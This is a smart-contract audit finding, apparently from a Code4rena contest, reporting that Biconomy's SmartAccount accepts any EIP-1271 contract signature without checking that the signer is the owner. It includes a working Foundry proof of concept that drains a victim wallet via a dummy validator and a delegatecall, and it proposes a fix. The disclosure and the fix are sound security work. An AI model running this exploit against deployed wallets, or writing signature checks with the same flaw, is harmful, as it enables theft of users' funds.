SmartAccount authorization can be bypassed using a contract signature

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

SmartAccount authorization can be bypassed using a contract signature

The SmartAccount wallet supports contract signatures defined by EIP1271, similar to how Gnosis Safe does. Transactions to the wallet can be authorized by a contract that implements the ISignatureValidator interface. This feature is implemented in the checkSignatures function, around lines 314-343:

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

if(v == 0) {
  // If v is 0 then it is a contract signature
  // When handling contract signatures the address of the contract is encoded into r
  _signer = address(uint160(uint256(r)));

  // Check that signature data pointer (s) is not pointing inside the static part of the signatures bytes
      // This check is not completely accurate, since it is possible that more signatures than the threshold are send.
      // Here we only check that the pointer is not pointing inside the part that is being processed
      require(uint256(s) >= uint256(1) * 65, "BSA021");

      // Check that signature data pointer (s) is in bounds (points to the length of data -> 32 bytes)
      require(uint256(s) + 32 <= signatures.length, "BSA022");

      // Check if the contract signature is in bounds: start of data is s + 32 and end is start + signature length
      uint256 contractSignatureLen;
      // solhint-disable-next-line no-inline-assembly
      assembly {
          contractSignatureLen := mload(add(add(signatures, s), 0x20))
      }
      require(uint256(s) + 32 + contractSignatureLen <= signatures.length, "BSA023");

      // Check signature
      bytes memory contractSignature;
      // solhint-disable-next-line no-inline-assembly
      assembly {
          // The signature data for contract signatures is appended to the concatenated signatures and the offset is stored in s
          contractSignature := add(add(signatures, s), 0x20)
      }
      require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024");
}

The issue here is that, even though the signature is validated against the contract, there's no relation or enforcement between the signer contract and the owner of the wallet. This means that signature checks can be easily bypassed using a contract signature.

Impact

This represents a critical issue since the authorization of any wallet can be easily bypassed using a dummy contract that acts as the signer.

This would let an attacker access and execute anything on any SmartAccount wallet. By calling the execTransaction function on the SmartAccount contract, an attacker can trigger a call or delegatecall in the context of the wallet and essentially execute any arbitrary code.

PoC

In the following test, Bob creates a wallet and loads it with some balance. The attacker then uses a dummy contract that acts as the signature validator (DummySignatureValidator) and calls execTransaction to delegatecall a contract (StealBalance) that steals the funds from the wallet.

contract DummySignatureValidator is ISignatureValidator {
    function isValidSignature(bytes memory, bytes memory) public override view returns (bytes4) {
        return 0x20c13b0b;
    }
}

contract StealBalance {
    function steal(address receiver) external {
        payable(receiver).transfer(address(this).balance);
    }
}

contract AuditTest is Test {
    bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;

    uint256 bobPrivateKey = 0x123;
    uint256 attackerPrivateKey = 0x456;

    address deployer;
    address bob;
    address attacker;
    address entrypoint;
    address handler;

    SmartAccount public implementation;
    SmartAccountFactory public factory;
    MockToken public token;

    function setUp() public {
        deployer = makeAddr("deployer");
        bob = vm.addr(bobPrivateKey);
        attacker = vm.addr(attackerPrivateKey);
        entrypoint = makeAddr("entrypoint");
        handler = makeAddr("handler");

        vm.label(deployer, "deployer");
        vm.label(bob, "bob");
        vm.label(attacker, "attacker");

        vm.startPrank(deployer);
        implementation = new SmartAccount();
        factory = new SmartAccountFactory(address(implementation));
        token = new MockToken();
        vm.stopPrank();
    }

    function test_SmartAccount_BypassAuthorization() public {
        // Bob creates a wallet and adds some ETH
        vm.startPrank(bob);

        address proxy = factory.deployWallet(bob, entrypoint, handler);
        SmartAccount wallet = SmartAccount(payable(proxy));

        vm.deal(address(wallet), 1 ether);

        vm.stopPrank();

        // Attacker bypasses authorization on Bob's wallet by using a dummy contract validator
        vm.startPrank(attacker);

        StealBalance stealer = new StealBalance();
        DummySignatureValidator validator = new DummySignatureValidator();

        Transaction memory tx = Transaction(
            address(stealer), // to
            0, //value,
            abi.encodeWithSelector(StealBalance.steal.selector, attacker), //data
            Enum.Operation.DelegateCall, // operation
            0 //targetTxGas
        );
        FeeRefund memory feeRefund = FeeRefund(
            0, // uint256 baseGas;
            0, // uint256 gasPrice; //gasPrice or tokenGasPrice
            0, // uint256 tokenGasPriceFactor;
            address(0), // address gasToken;
            payable(0) // address payable refundReceiver;
        );
        uint256 batchId = 0;
        uint256 nonce = 0;

        // Build signature pointing to dummy validator
        bytes32 r = bytes32(uint256(uint160(address(validator))));
        bytes32 s = bytes32(uint256(65));
        uint8 v = 0;

        bytes memory signature = abi.encodePacked(r, s, v, uint256(0));

        // Exec transaction
        wallet.execTransaction(tx, batchId, feeRefund, signature);

        // Attacker has stolen the funds
        assertEq(attacker.balance, 1 ether);

        vm.stopPrank();
    }
}

Recommendation

The checkSignatures function should verify that the contract validator is the owner of the wallet.

  // Check signature
  bytes memory contractSignature;
  // solhint-disable-next-line no-inline-assembly
  assembly {
      // The signature data for contract signatures is appended to the concatenated signatures and the offset is stored in s
      contractSignature := add(add(signatures, s), 0x20)
  }
  require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024");
+ require(_signer == owner);

[c4-judge]

gzeon-c4 marked the issue as duplicate of #175

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory